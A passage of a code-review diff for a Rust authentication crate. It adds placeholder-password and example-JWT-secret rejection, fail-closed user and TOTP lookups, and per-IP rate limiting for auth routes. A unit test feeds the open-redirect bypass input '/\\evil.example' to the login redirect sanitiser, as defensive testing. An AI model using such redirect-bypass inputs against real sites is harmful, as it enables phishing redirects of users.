| 122 | 139 | // le bloc statique doit précéder le tableau (vu en premier par le dev) |
| 123 | 140 | let guides = out.find("Sécurité transversale").unwrap(); |
| 124 | 141 | let table = out.find("| Statut").unwrap(); |
| 125 | - assert!(guides < table, "les garde-fous transversaux doivent précéder le tableau"); | |
| 142 | + assert!( | |
| 143 | + guides < table, | |
| 144 | + "les garde-fous transversaux doivent précéder le tableau" | |
| 145 | + ); | |
| 126 | 146 | } |
| 127 | 147 | } |
M
crates/rustwarden-core/src/bin/screen-select/main.rs
+23
-5
@@ -62,14 +62,23 @@ fn run_wizard() -> io::Result<()> {
| 62 | 62 | Some(std::fs::read_to_string(&design_path)?) |
| 63 | 63 | }; |
| 64 | 64 | let layout = prompt("Structure de page (ex. 'navbar: gauche; 2 colonnes', vide si aucune) : ")?; |
| 65 | - let layout = if layout.is_empty() { None } else { Some(layout) }; | |
| 65 | + let layout = if layout.is_empty() { | |
| 66 | + None | |
| 67 | + } else { | |
| 68 | + Some(layout) | |
| 69 | + }; | |
| 66 | 70 | |
| 67 | 71 | let project = std::env::current_dir()? |
| 68 | 72 | .file_name() |
| 69 | 73 | .map(|n| n.to_string_lossy().into_owned()) |
| 70 | 74 | .unwrap_or_else(|| "projet".into()); |
| 71 | 75 | |
| 72 | - let inputs = generate::PlanInputs { project: &project, selected, design_md, layout }; | |
| 76 | + let inputs = generate::PlanInputs { | |
| 77 | + project: &project, | |
| 78 | + selected, | |
| 79 | + design_md, | |
| 80 | + layout, | |
| 81 | + }; | |
| 73 | 82 | let desired = generate::rows_for(&inputs.selected); |
| 74 | 83 | |
| 75 | 84 | // 3. Fusion si un plan existe déjà (préserve statuts + routes éditées). |
@@ -82,7 +91,11 @@ fn run_wizard() -> io::Result<()> {
| 82 | 91 | let mut c = todo::replace_table(&existing, &merged); |
| 83 | 92 | // …puis régénère les sections sécurité (idempotent, suit la sélection courante). |
| 84 | 93 | c = section::upsert(&c, security::GUIDES_ID, &security::guides_body()); |
| 85 | - c = section::upsert(&c, security::PER_SCREEN_ID, &security::reference_body(&inputs.selected)); | |
| 94 | + c = section::upsert( | |
| 95 | + &c, | |
| 96 | + security::PER_SCREEN_ID, | |
| 97 | + &security::reference_body(&inputs.selected), | |
| 98 | + ); | |
| 86 | 99 | c |
| 87 | 100 | } else { |
| 88 | 101 | generate::render_plan(&inputs, &desired) |
@@ -92,8 +105,13 @@ fn run_wizard() -> io::Result<()> {
| 92 | 105 | std::fs::create_dir_all(parent)?; |
| 93 | 106 | } |
| 94 | 107 | std::fs::write(path, content)?; |
| 95 | - println!("\n✓ Plan écrit dans {PLAN_PATH} ({} écrans).", desired.len()); | |
| 96 | - println!(" Contrôlez le réalisé : cargo run -p rustwarden-core --bin screen-select -- --check"); | |
| 108 | + println!( | |
| 109 | + "\n✓ Plan écrit dans {PLAN_PATH} ({} écrans).", | |
| 110 | + desired.len() | |
| 111 | + ); | |
| 112 | + println!( | |
| 113 | + " Contrôlez le réalisé : cargo run -p rustwarden-core --bin screen-select -- --check" | |
| 114 | + ); | |
| 97 | 115 | Ok(()) |
| 98 | 116 | } |
| 99 | 117 |
M
crates/rustwarden-core/src/bin/screen-select/todo.rs
+15
-3
@@ -161,7 +161,11 @@ mod tests {
| 161 | 161 | fn parse_round_trip() { |
| 162 | 162 | let mut a = row(); |
| 163 | 163 | a.done = true; |
| 164 | - let b = TodoRow { screen: "SessionsList".into(), route: "/settings/sessions".into(), ..row() }; | |
| 164 | + let b = TodoRow { | |
| 165 | + screen: "SessionsList".into(), | |
| 166 | + route: "/settings/sessions".into(), | |
| 167 | + ..row() | |
| 168 | + }; | |
| 165 | 169 | let rendered = render(&[a.clone(), b.clone()]); |
| 166 | 170 | let parsed = parse(&rendered); |
| 167 | 171 | assert_eq!(parsed, vec![a, b]); |
@@ -188,10 +192,18 @@ mod tests {
| 188 | 192 | |
| 189 | 193 | #[test] |
| 190 | 194 | fn merge_ajoute_les_nouveaux() { |
| 191 | - let desired_new = TodoRow { functionality: "Teams".into(), screen: "TeamsManagement".into(), ..row() }; | |
| 195 | + let desired_new = TodoRow { | |
| 196 | + functionality: "Teams".into(), | |
| 197 | + screen: "TeamsManagement".into(), | |
| 198 | + ..row() | |
| 199 | + }; | |
| 192 | 200 | let merged = merge(&[], &[row(), desired_new.clone()]); |
| 193 | 201 | assert_eq!(merged.len(), 2); |
| 194 | - assert!(merged.iter().any(|r| r.screen == "TeamsManagement" && !r.done)); | |
| 202 | + assert!( | |
| 203 | + merged | |
| 204 | + .iter() | |
| 205 | + .any(|r| r.screen == "TeamsManagement" && !r.done) | |
| 206 | + ); | |
| 195 | 207 | } |
| 196 | 208 | |
| 197 | 209 | #[test] |
M
crates/rustwarden-core/src/config/admin.rs
+46
-0
@@ -52,6 +52,9 @@ impl AdminConfig {
| 52 | 52 | return Err(ValidationError::new("email_format")); |
| 53 | 53 | } |
| 54 | 54 | if let Some(ref password) = self.password { |
| 55 | + if password == "REMPLACER_PAR_UN_MOT_DE_PASSE_FORT" || password == "password" { | |
| 56 | + return Err(ValidationError::new("password_placeholder")); | |
| 57 | + } | |
| 55 | 58 | if password.len() < 8 { |
| 56 | 59 | return Err(ValidationError::new("password_length")); |
| 57 | 60 | } |
@@ -59,3 +62,46 @@ impl AdminConfig {
| 59 | 62 | Ok(()) |
| 60 | 63 | } |
| 61 | 64 | } |
| 65 | + | |
| 66 | +#[cfg(test)] | |
| 67 | +mod tests { | |
| 68 | + use super::AdminConfig; | |
| 69 | + | |
| 70 | + fn config_with_password(password: Option<String>) -> AdminConfig { | |
| 71 | + AdminConfig { | |
| 72 | + username: "admin".into(), | |
| 73 | + email: "admin@localhost".into(), | |
| 74 | + password, | |
| 75 | + } | |
| 76 | + } | |
| 77 | + | |
| 78 | + #[test] | |
| 79 | + fn rejects_literal_password() { | |
| 80 | + let err = config_with_password(Some("password".into())) | |
| 81 | + .validate() | |
| 82 | + .expect_err("literal password must be rejected"); | |
| 83 | + assert_eq!(err.code.as_ref(), "password_placeholder"); | |
| 84 | + } | |
| 85 | + | |
| 86 | + #[test] | |
| 87 | + fn rejects_cli_placeholder_password() { | |
| 88 | + let err = config_with_password(Some("REMPLACER_PAR_UN_MOT_DE_PASSE_FORT".into())) | |
| 89 | + .validate() | |
| 90 | + .expect_err("CLI placeholder password must be rejected"); | |
| 91 | + assert_eq!(err.code.as_ref(), "password_placeholder"); | |
| 92 | + } | |
| 93 | + | |
| 94 | + #[test] | |
| 95 | + fn accepts_strong_password() { | |
| 96 | + config_with_password(Some("Str0ngEnough".into())) | |
| 97 | + .validate() | |
| 98 | + .expect("non-placeholder password of sufficient length must pass"); | |
| 99 | + } | |
| 100 | + | |
| 101 | + #[test] | |
| 102 | + fn accepts_missing_password() { | |
| 103 | + config_with_password(None) | |
| 104 | + .validate() | |
| 105 | + .expect("absent password is generated later"); | |
| 106 | + } | |
| 107 | +} |
M
crates/rustwarden-core/src/config/auth.rs
+55
-7
@@ -75,6 +75,18 @@ pub struct AuthConfig {
| 75 | 75 | pub auth_failure_mode: AuthFailureMode, |
| 76 | 76 | } |
| 77 | 77 | |
| 78 | +/// Returns `true` when `secret` is an exact match for a known example JWT secret. | |
| 79 | +pub(crate) fn jwt_secret_is_placeholder(secret: &str) -> bool { | |
| 80 | + const KNOWN_EXAMPLES: &[&str] = &[ | |
| 81 | + "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes", | |
| 82 | + "change-me-in-production", | |
| 83 | + "super-secret-jwt-key", | |
| 84 | + "my-secret-key", | |
| 85 | + "REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE", | |
| 86 | + ]; | |
| 87 | + KNOWN_EXAMPLES.contains(&secret) | |
| 88 | +} | |
| 89 | + | |
| 78 | 90 | impl AuthConfig { |
| 79 | 91 | /// Load and validate authentication configuration from environment variables. |
| 80 | 92 | pub fn from_env() -> Result<Self, String> { |
@@ -82,13 +94,7 @@ impl AuthConfig {
| 82 | 94 | .map_err(|_| "JWT_SECRET environment variable is required".to_string())?; |
| 83 | 95 | |
| 84 | 96 | // SEC-L1: Reject well-known example/placeholder secrets |
| 85 | - const KNOWN_EXAMPLES: &[&str] = &[ | |
| 86 | - "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes", | |
| 87 | - "change-me-in-production", | |
| 88 | - "super-secret-jwt-key", | |
| 89 | - "my-secret-key", | |
| 90 | - ]; | |
| 91 | - if KNOWN_EXAMPLES.iter().any(|ex| jwt_secret == *ex) { | |
| 97 | + if jwt_secret_is_placeholder(&jwt_secret) { | |
| 92 | 98 | return Err( |
| 93 | 99 | "JWT_SECRET is set to a known example value. Please generate a unique secret \ |
| 94 | 100 | (e.g., `openssl rand -hex 32`)." |
@@ -334,3 +340,45 @@ mod tests {
| 334 | 340 | assert!(AuthFailureMode::from_str("nope").is_err()); |
| 335 | 341 | } |
| 336 | 342 | } |
| 343 | + | |
| 344 | +#[cfg(test)] | |
| 345 | +mod jwt_secret_tests { | |
| 346 | + use super::jwt_secret_is_placeholder; | |
| 347 | + | |
| 348 | + #[test] | |
| 349 | + fn rejects_cli_placeholder() { | |
| 350 | + assert!(jwt_secret_is_placeholder( | |
| 351 | + "REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE" | |
| 352 | + )); | |
| 353 | + } | |
| 354 | + | |
| 355 | + #[test] | |
| 356 | + fn rejects_historical_placeholders() { | |
| 357 | + const HISTORICAL: &[&str] = &[ | |
| 358 | + "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes", | |
| 359 | + "change-me-in-production", | |
| 360 | + "super-secret-jwt-key", | |
| 361 | + "my-secret-key", | |
| 362 | + ]; | |
| 363 | + for secret in HISTORICAL { | |
| 364 | + assert!( | |
| 365 | + jwt_secret_is_placeholder(secret), | |
| 366 | + "expected placeholder rejection for {secret}" | |
| 367 | + ); | |
| 368 | + } | |
| 369 | + } | |
| 370 | + | |
| 371 | + #[test] | |
| 372 | + fn accepts_passphrase_containing_change_me() { | |
| 373 | + assert!(!jwt_secret_is_placeholder( | |
| 374 | + "my-change-me-not-secret-passphrase-2026xxxx" | |
| 375 | + )); | |
| 376 | + } | |
| 377 | + | |
| 378 | + #[test] | |
| 379 | + fn accepts_random_hex_64() { | |
| 380 | + assert!(!jwt_secret_is_placeholder( | |
| 381 | + "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef" | |
| 382 | + )); | |
| 383 | + } | |
| 384 | +} |
M
crates/rustwarden-core/src/middleware/admin_required.rs
+6
-4
@@ -113,10 +113,12 @@ pub async fn admin_required_impl(
| 113 | 113 | Some(claims) => claims, |
| 114 | 114 | None => { |
| 115 | 115 | tracing::warn!("Unauthenticated access attempt to admin route: {}", uri); |
| 116 | - return Ok(crate::middleware::auth_service::auth_failure_from_extensions( | |
| 117 | - request.extensions(), | |
| 118 | - &uri, | |
| 119 | - )); | |
| 116 | + return Ok( | |
| 117 | + crate::middleware::auth_service::auth_failure_from_extensions( | |
| 118 | + request.extensions(), | |
| 119 | + &uri, | |
| 120 | + ), | |
| 121 | + ); | |
| 120 | 122 | } |
| 121 | 123 | }; |
| 122 | 124 |
M
crates/rustwarden-core/src/middleware/auth_service.rs
+188
-63
@@ -27,7 +27,7 @@ use crate::config::auth::{AuthConfig, AuthFailureMode};
| 27 | 27 | /// hard-wired to `rustwarden-ui`'s `/login`. The original target is preserved |
| 28 | 28 | /// in a `redirect` query parameter when it is a safe relative path. |
| 29 | 29 | pub(crate) fn sanitize_redirect(uri: &str, login_path: &str) -> String { |
| 30 | - let path = uri.to_string(); | |
| 30 | + let path = uri.replace('\\', "/"); | |
| 31 | 31 | if path.starts_with('/') && !path.starts_with("//") && !path.contains('\0') { |
| 32 | 32 | format!("{login_path}?redirect={}", urlencoding::encode(&path)) |
| 33 | 33 | } else { |
@@ -78,6 +78,46 @@ pub(crate) fn auth_failure_from_extensions(
| 78 | 78 | } |
| 79 | 79 | } |
| 80 | 80 | |
| 81 | +/// Fail-closed outcome of a SeaORM `find_by_id` (or equivalent) user lookup. | |
| 82 | +#[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 83 | +pub(crate) enum UserLookup { | |
| 84 | + /// A row was found; the caller still owns the `Model`. | |
| 85 | + Found, | |
| 86 | + /// No row: treat as unauthenticated (deleted user + leftover JWT). | |
| 87 | + Missing, | |
| 88 | + /// Database error: refuse the request (503). | |
| 89 | + Unavailable, | |
| 90 | +} | |
| 91 | + | |
| 92 | +/// Map a SeaORM lookup result to a fail-closed auth decision. | |
| 93 | +pub(crate) fn map_user_lookup<T, E>(result: Result<Option<T>, E>) -> UserLookup { | |
| 94 | + match result { | |
| 95 | + Ok(Some(_)) => UserLookup::Found, | |
| 96 | + Ok(None) => UserLookup::Missing, | |
| 97 | + Err(_) => UserLookup::Unavailable, | |
| 98 | + } | |
| 99 | +} | |
| 100 | + | |
| 101 | +/// Fail-closed outcome of a forced-2FA TOTP status check. | |
| 102 | +#[derive(Debug, Clone, Copy, PartialEq, Eq)] | |
| 103 | +pub(crate) enum TotpGate { | |
| 104 | + /// User already has TOTP enabled; continue. | |
| 105 | + Allow, | |
| 106 | + /// Forced 2FA is on and the user has not enrolled; redirect to setup. | |
| 107 | + RedirectSetup, | |
| 108 | + /// Database error: refuse the request (503). | |
| 109 | + Unavailable, | |
| 110 | +} | |
| 111 | + | |
| 112 | +/// Map `TotpService::is_totp_enabled` to a fail-closed forced-2FA decision. | |
| 113 | +pub(crate) fn totp_force_gate(result: Result<bool, impl std::fmt::Display>) -> TotpGate { | |
| 114 | + match result { | |
| 115 | + Ok(true) => TotpGate::Allow, | |
| 116 | + Ok(false) => TotpGate::RedirectSetup, | |
| 117 | + Err(_) => TotpGate::Unavailable, | |
| 118 | + } | |
| 119 | +} | |
| 120 | + | |
| 81 | 121 | /// Tower middleware that injects the authenticated user into request extensions. |
| 82 | 122 | /// |
| 83 | 123 | /// The middleware splits incoming requests into two branches based on |
@@ -229,12 +269,12 @@ where
| 229 | 269 | } |
| 230 | 270 | }; |
| 231 | 271 | |
| 232 | - if JwtBlacklistService::is_blacklisted(&db, &jwt_token) | |
| 233 | - .await | |
| 234 | - .is_ok_and(|b| b) | |
| 235 | - { | |
| 236 | - tracing::warn!("AuthService: JWT token is blacklisted"); | |
| 237 | - return Ok(auth_failure_response(&auth_config, &uri)); | |
| 272 | + match JwtBlacklistService::is_blacklisted(&db, &jwt_token).await { | |
| 273 | + Ok(true) | Err(_) => { | |
| 274 | + tracing::warn!("AuthService: JWT token is blacklisted"); | |
| 275 | + return Ok(auth_failure_response(&auth_config, &uri)); | |
| 276 | + } | |
| 277 | + Ok(false) => {} | |
| 238 | 278 | } |
| 239 | 279 | |
| 240 | 280 | let claims = match JwtService::validate_token(&auth_config, &jwt_token) { |
@@ -281,67 +321,104 @@ where
| 281 | 321 | let headers = &parts.headers; |
| 282 | 322 | let client_ip = extract_client_ip(headers); |
| 283 | 323 | |
| 284 | - if let Ok(Some(user_model)) = user::Entity::find_by_id(user_id).one(&db).await { | |
| 285 | - let must_change = user_model.must_change_password; | |
| 286 | - | |
| 287 | - let mut user_active: user::ActiveModel = user_model.into(); | |
| 288 | - user_active.last_login_at = Set(Some(Utc::now())); | |
| 289 | - if let Some(ip) = client_ip { | |
| 290 | - user_active.last_login_ip = Set(Some(ip)); | |
| 324 | + let lookup = user::Entity::find_by_id(user_id).one(&db).await; | |
| 325 | + match map_user_lookup(lookup.as_ref().map(|row| row.as_ref())) { | |
| 326 | + UserLookup::Unavailable => { | |
| 327 | + if let Err(e) = &lookup { | |
| 328 | + tracing::error!( | |
| 329 | + %user_id, | |
| 330 | + error = %e, | |
| 331 | + "user lookup failed (fail-closed)" | |
| 332 | + ); | |
| 333 | + } | |
| 334 | + return Ok((StatusCode::SERVICE_UNAVAILABLE, "Internal server error") | |
| 335 | + .into_response()); | |
| 291 | 336 | } |
| 292 | - | |
| 293 | - if let Err(e) = user_active.update(&db).await { | |
| 294 | - tracing::warn!( | |
| 295 | - "Failed to update last_login for user {}: {}", | |
| 296 | - user_id, | |
| 297 | - e | |
| 298 | - ); | |
| 299 | - } else { | |
| 300 | - tracing::debug!("Updated last_login for user {}", user_id); | |
| 337 | + UserLookup::Missing => { | |
| 338 | + return Ok(auth_failure_response(&auth_config, &uri)); | |
| 301 | 339 | } |
| 340 | + UserLookup::Found => { | |
| 341 | + let Ok(Some(user_model)) = lookup else { | |
| 342 | + return Ok(( | |
| 343 | + StatusCode::SERVICE_UNAVAILABLE, | |
| 344 | + "Internal server error", | |
| 345 | + ) | |
| 346 | + .into_response()); | |
| 347 | + }; | |
| 302 | 348 | |
| 303 | - if must_change && !path.starts_with("/settings/password") { | |
| 304 | - tracing::info!( | |
| 305 | - "User {} must change password, redirecting from {}", | |
| 306 | - user_id, | |
| 307 | - path | |
| 308 | - ); | |
| 309 | - return Ok(axum::response::Redirect::to( | |
| 310 | - "/settings/password?must_change=true", | |
| 311 | - ) | |
| 312 | - .into_response()); | |
| 313 | - } | |
| 349 | + let must_change = user_model.must_change_password; | |
| 314 | 350 | |
| 315 | - // Check if 2FA is forced globally and user hasn't set it up | |
| 316 | - if !path.starts_with("/settings/security") | |
| 317 | - && !path.starts_with("/api/v1/auth") | |
| 318 | - { | |
| 319 | - let totp_force_enabled = crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback( | |
| 320 | - &db, | |
| 321 | - &["totp_force_enabled"], | |
| 322 | - false, | |
| 323 | - ) | |
| 324 | - .await | |
| 325 | - .unwrap_or(false); | |
| 351 | + let mut user_active: user::ActiveModel = user_model.into(); | |
| 352 | + user_active.last_login_at = Set(Some(Utc::now())); | |
| 353 | + if let Some(ip) = client_ip { | |
| 354 | + user_active.last_login_ip = Set(Some(ip)); | |
| 355 | + } | |
| 326 | 356 | |
| 327 | - if totp_force_enabled { | |
| 328 | - let totp_enabled = | |
| 329 | - crate::services::totp_service::TotpService::is_totp_enabled( | |
| 357 | + if let Err(e) = user_active.update(&db).await { | |
| 358 | + tracing::warn!( | |
| 359 | + "Failed to update last_login for user {}: {}", | |
| 360 | + user_id, | |
| 361 | + e | |
| 362 | + ); | |
| 363 | + } else { | |
| 364 | + tracing::debug!("Updated last_login for user {}", user_id); | |
| 365 | + } | |
| 366 | + | |
| 367 | + if must_change && !path.starts_with("/settings/password") { | |
| 368 | + tracing::info!( | |
| 369 | + "User {} must change password, redirecting from {}", | |
| 370 | + user_id, | |
| 371 | + path | |
| 372 | + ); | |
| 373 | + return Ok(Redirect::to("/settings/password?must_change=true") | |
| 374 | + .into_response()); | |
| 375 | + } | |
| 376 | + | |
| 377 | + // Check if 2FA is forced globally and user hasn't set it up | |
| 378 | + if !path.starts_with("/settings/security") | |
| 379 | + && !path.starts_with("/api/v1/auth") | |
| 380 | + { | |
| 381 | + let totp_force_enabled = crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback( | |
| 382 | + &db, | |
| 383 | + &["totp_force_enabled"], | |
| 384 | + false, | |
| 385 | + ) | |
| 386 | + .await | |
| 387 | + .unwrap_or(false); | |
| 388 | + | |
| 389 | + if totp_force_enabled { | |
| 390 | + let totp_result = crate::services::totp_service::TotpService::is_totp_enabled( | |
| 330 | 391 | &db, user_id, |
| 331 | 392 | ) |
| 332 | - .await | |
| 333 | - .unwrap_or(false); | |
| 334 | - | |
| 335 | - if !totp_enabled { | |
| 336 | - tracing::info!( | |
| 337 | - "User {} must setup 2FA, redirecting from {}", | |
| 338 | - user_id, | |
| 339 | - path | |
| 340 | - ); | |
| 341 | - return Ok(axum::response::Redirect::to( | |
| 342 | - "/settings/security?force_2fa=true", | |
| 343 | - ) | |
| 344 | - .into_response()); | |
| 393 | + .await; | |
| 394 | + if let Err(ref e) = totp_result { | |
| 395 | + tracing::error!( | |
| 396 | + %user_id, | |
| 397 | + error = %e, | |
| 398 | + "TOTP status lookup failed (fail-closed)" | |
| 399 | + ); | |
| 400 | + } | |
| 401 | + match totp_force_gate(totp_result) { | |
| 402 | + TotpGate::Allow => {} | |
| 403 | + TotpGate::RedirectSetup => { | |
| 404 | + tracing::info!( | |
| 405 | + "User {} must setup 2FA, redirecting from {}", | |
| 406 | + user_id, | |
| 407 | + path | |
| 408 | + ); | |
| 409 | + return Ok(Redirect::to( | |
| 410 | + "/settings/security?force_2fa=true", | |
| 411 | + ) | |
| 412 | + .into_response()); | |
| 413 | + } | |
| 414 | + TotpGate::Unavailable => { | |
| 415 | + return Ok(( | |
| 416 | + StatusCode::SERVICE_UNAVAILABLE, | |
| 417 | + "Internal server error", | |
| 418 | + ) | |
| 419 | + .into_response()); | |
| 420 | + } | |
| 421 | + } | |
| 345 | 422 | } |
| 346 | 423 | } |
| 347 | 424 | } |
@@ -427,7 +504,10 @@ where
| 427 | 504 | |
| 428 | 505 | #[cfg(test)] |
| 429 | 506 | mod tests { |
| 430 | - use super::{auth_failure_response, sanitize_redirect}; | |
| 507 | + use super::{ | |
| 508 | + TotpGate, UserLookup, auth_failure_response, map_user_lookup, sanitize_redirect, | |
| 509 | + totp_force_gate, | |
| 510 | + }; | |
| 431 | 511 | use crate::config::auth::{AuthConfig, AuthFailureMode, SessionBackend}; |
| 432 | 512 | use axum::http::{StatusCode, Uri, header::LOCATION}; |
| 433 | 513 |
@@ -476,9 +556,18 @@ mod tests {
| 476 | 556 | } |
| 477 | 557 | |
| 478 | 558 | #[test] |
| 559 | + fn sanitize_redirect_rejects_backslash_trick() { | |
| 560 | + let out = sanitize_redirect("/\\evil.example", "/login"); | |
| 561 | + assert_eq!(out, "/login"); | |
| 562 | + } | |
| 563 | + | |
| 564 | + #[test] | |
| 479 | 565 | fn auth_failure_redirect_mode_points_to_configured_login_path() { |
| 480 | 566 | let uri: Uri = "/settings".parse().unwrap(); |
| 481 | - let resp = auth_failure_response(&test_config(AuthFailureMode::Redirect, "/auth/signin"), &uri); | |
| 567 | + let resp = auth_failure_response( | |
| 568 | + &test_config(AuthFailureMode::Redirect, "/auth/signin"), | |
| 569 | + &uri, | |
| 570 | + ); | |
| 482 | 571 | assert_eq!(resp.status(), StatusCode::SEE_OTHER); |
| 483 | 572 | let location = resp |
| 484 | 573 | .headers() |
@@ -498,4 +587,40 @@ mod tests {
| 498 | 587 | assert_eq!(resp.status(), StatusCode::UNAUTHORIZED); |
| 499 | 588 | assert!(resp.headers().get(LOCATION).is_none()); |
| 500 | 589 | } |
| 590 | + | |
| 591 | + #[test] | |
| 592 | + fn map_user_lookup_found_when_row_present() { | |
| 593 | + let result: Result<Option<()>, &str> = Ok(Some(())); | |
| 594 | + assert_eq!(map_user_lookup(result), UserLookup::Found); | |
| 595 | + } | |
| 596 | + | |
| 597 | + #[test] | |
| 598 | + fn map_user_lookup_missing_when_no_row() { | |
| 599 | + let result: Result<Option<()>, &str> = Ok(None); | |
| 600 | + assert_eq!(map_user_lookup(result), UserLookup::Missing); | |
| 601 | + } | |
| 602 | + | |
| 603 | + #[test] | |
| 604 | + fn map_user_lookup_unavailable_on_error() { | |
| 605 | + let result: Result<Option<()>, &str> = Err("db down"); | |
| 606 | + assert_eq!(map_user_lookup(result), UserLookup::Unavailable); | |
| 607 | + } | |
| 608 | + | |
| 609 | + #[test] | |
| 610 | + fn totp_force_gate_allows_when_enabled() { | |
| 611 | + let result: Result<bool, &str> = Ok(true); | |
| 612 | + assert_eq!(totp_force_gate(result), TotpGate::Allow); | |
| 613 | + } | |
| 614 | + | |
| 615 | + #[test] | |
| 616 | + fn totp_force_gate_redirects_when_not_enrolled() { | |
| 617 | + let result: Result<bool, &str> = Ok(false); | |
| 618 | + assert_eq!(totp_force_gate(result), TotpGate::RedirectSetup); | |
| 619 | + } | |
| 620 | + | |
| 621 | + #[test] | |
| 622 | + fn totp_force_gate_unavailable_on_error() { | |
| 623 | + let result: Result<bool, &str> = Err("db down"); | |
| 624 | + assert_eq!(totp_force_gate(result), TotpGate::Unavailable); | |
| 625 | + } | |
| 501 | 626 | } |
M
crates/rustwarden-core/src/middleware/password_complexity.rs
+21
-0
@@ -169,6 +169,27 @@ mod tests {
| 169 | 169 | assert!(rules.validate("password123").is_err()); |
| 170 | 170 | assert!(rules.validate("PASSWORD123").is_err()); |
| 171 | 171 | assert!(rules.validate("Password").is_err()); |
| 172 | + assert!(rules.validate("a").is_err()); | |
| 173 | + assert!(rules.validate("password").is_err()); | |
| 174 | + } | |
| 175 | + | |
| 176 | + #[test] | |
| 177 | + fn default_rules_reject_single_letter_and_password_literal() { | |
| 178 | + let rules = PasswordRules::default(); | |
| 179 | + assert!(rules.validate("a").is_err()); | |
| 180 | + assert!(rules.validate("password").is_err()); | |
| 181 | + } | |
| 182 | + | |
| 183 | + #[test] | |
| 184 | + fn default_rules_reject_password_literal() { | |
| 185 | + let rules = PasswordRules::default(); | |
| 186 | + assert!(rules.validate("password").is_err()); | |
| 187 | + } | |
| 188 | + | |
| 189 | + #[test] | |
| 190 | + fn default_rules_accept_mixed() { | |
| 191 | + let rules = PasswordRules::default(); | |
| 192 | + assert!(rules.validate("CorrectHorse1").is_ok()); | |
| 172 | 193 | } |
| 173 | 194 | |
| 174 | 195 | #[test] |
M
crates/rustwarden-core/src/middleware/rate_limit.rs
+91
-7
@@ -118,11 +118,11 @@ fn trusted_proxy_hops() -> usize {
| 118 | 118 | }) |
| 119 | 119 | } |
| 120 | 120 | |
| 121 | -/// SEC-H3: Extract the real client IP, respecting TRUSTED_PROXY_HOPS. | |
| 122 | -/// When TRUSTED_PROXY_HOPS > 0, takes the Nth IP from the right of X-Forwarded-For. | |
| 123 | -/// Otherwise falls back to the direct connection IP. | |
| 124 | -fn extract_ip_from_xff_or_connect(xff: Option<&str>, connect_ip: Option<String>) -> String { | |
| 125 | - let hops = trusted_proxy_hops(); | |
| 121 | +/// Pick the client IP from `X-Forwarded-For` and/or the direct connection. | |
| 122 | +/// | |
| 123 | +/// `hops` is the number of trusted reverse-proxy hops (0 = ignore XFF). | |
| 124 | +/// When `hops > 0`, takes the Nth IP from the **right** of the XFF list. | |
| 125 | +fn extract_ip(xff: Option<&str>, connect: Option<String>, hops: usize) -> String { | |
| 126 | 126 | if hops > 0 { |
| 127 | 127 | if let Some(xff_value) = xff { |
| 128 | 128 | let ips: Vec<&str> = xff_value.split(',').map(|s| s.trim()).collect(); |
@@ -131,7 +131,14 @@ fn extract_ip_from_xff_or_connect(xff: Option<&str>, connect_ip: Option<String>)
| 131 | 131 | } |
| 132 | 132 | } |
| 133 | 133 | } |
| 134 | - connect_ip.unwrap_or_else(|| "unknown".to_string()) | |
| 134 | + connect.unwrap_or_else(|| "unknown".to_string()) | |
| 135 | +} | |
| 136 | + | |
| 137 | +/// SEC-H3: Extract the real client IP, respecting TRUSTED_PROXY_HOPS. | |
| 138 | +/// When TRUSTED_PROXY_HOPS > 0, takes the Nth IP from the right of X-Forwarded-For. | |
| 139 | +/// Otherwise falls back to the direct connection IP. | |
| 140 | +fn extract_ip_from_xff_or_connect(xff: Option<&str>, connect_ip: Option<String>) -> String { | |
| 141 | + extract_ip(xff, connect_ip, trusted_proxy_hops()) | |
| 135 | 142 | } |
| 136 | 143 | |
| 137 | 144 | /// Extract IP address from Request (uses ConnectInfo when available) |
@@ -143,7 +150,14 @@ pub fn extract_client_ip(request: &Request) -> String {
| 143 | 150 | let connect_ip = request |
| 144 | 151 | .extensions() |
| 145 | 152 | .get::<axum::extract::ConnectInfo<std::net::SocketAddr>>() |
| 146 | - .map(|ci| ci.0.ip().to_string()); | |
| 153 | + .map(|ci| ci.0.ip().to_string()) | |
| 154 | + .or_else(|| { | |
| 155 | + // `MockConnectInfo` stores itself, not `ConnectInfo` (axum 0.8). | |
| 156 | + request | |
| 157 | + .extensions() | |
| 158 | + .get::<axum::extract::connect_info::MockConnectInfo<std::net::SocketAddr>>() | |
| 159 | + .map(|mock| mock.0.ip().to_string()) | |
| 160 | + }); | |
| 147 | 161 | extract_ip_from_xff_or_connect(xff, connect_ip) |
| 148 | 162 | } |
| 149 | 163 |
@@ -201,6 +215,19 @@ pub fn check_auth_rate_limit(headers: &axum::http::HeaderMap) -> Result<(), Resp
| 201 | 215 | } |
| 202 | 216 | } |
| 203 | 217 | |
| 218 | +/// Per-IP rate-limit layer for authentication endpoints. | |
| 219 | +/// | |
| 220 | +/// Uses [`extract_client_ip`] so the key comes from `ConnectInfo` when | |
| 221 | +/// `TRUSTED_PROXY_HOPS` is 0 (the default), rather than collapsing every | |
| 222 | +/// request into a global `auth:unknown` bucket. | |
| 223 | +pub(crate) async fn auth_ip_rate_limit(request: Request, next: Next) -> Response { | |
| 224 | + let ip = extract_client_ip(&request); | |
| 225 | + match auth_limiter().check(&format!("auth:{ip}"), auth_max_per_minute()) { | |
| 226 | + Ok(()) => next.run(request).await, | |
| 227 | + Err(err) => err.into_response(), | |
| 228 | + } | |
| 229 | +} | |
| 230 | + | |
| 204 | 231 | #[cfg(test)] |
| 205 | 232 | mod tests { |
| 206 | 233 | use super::*; |
@@ -234,4 +261,61 @@ mod tests {
| 234 | 261 | rl.check("share:9.9.9.9", 3) |
| 235 | 262 | .expect("distinct IP must not share the other IP's budget"); |
| 236 | 263 | } |
| 264 | + | |
| 265 | + #[test] | |
| 266 | + fn extract_client_ip_uses_connect_info_without_xff() { | |
| 267 | + let mut request = Request::builder() | |
| 268 | + .uri("/") | |
| 269 | + .body(axum::body::Body::empty()) | |
| 270 | + .expect("request"); | |
| 271 | + request | |
| 272 | + .extensions_mut() | |
| 273 | + .insert(axum::extract::ConnectInfo(std::net::SocketAddr::from(( | |
| 274 | + [203, 0, 113, 1], | |
| 275 | + 12345, | |
| 276 | + )))); | |
| 277 | + assert_eq!(extract_client_ip(&request), "203.0.113.1"); | |
| 278 | + } | |
| 279 | + | |
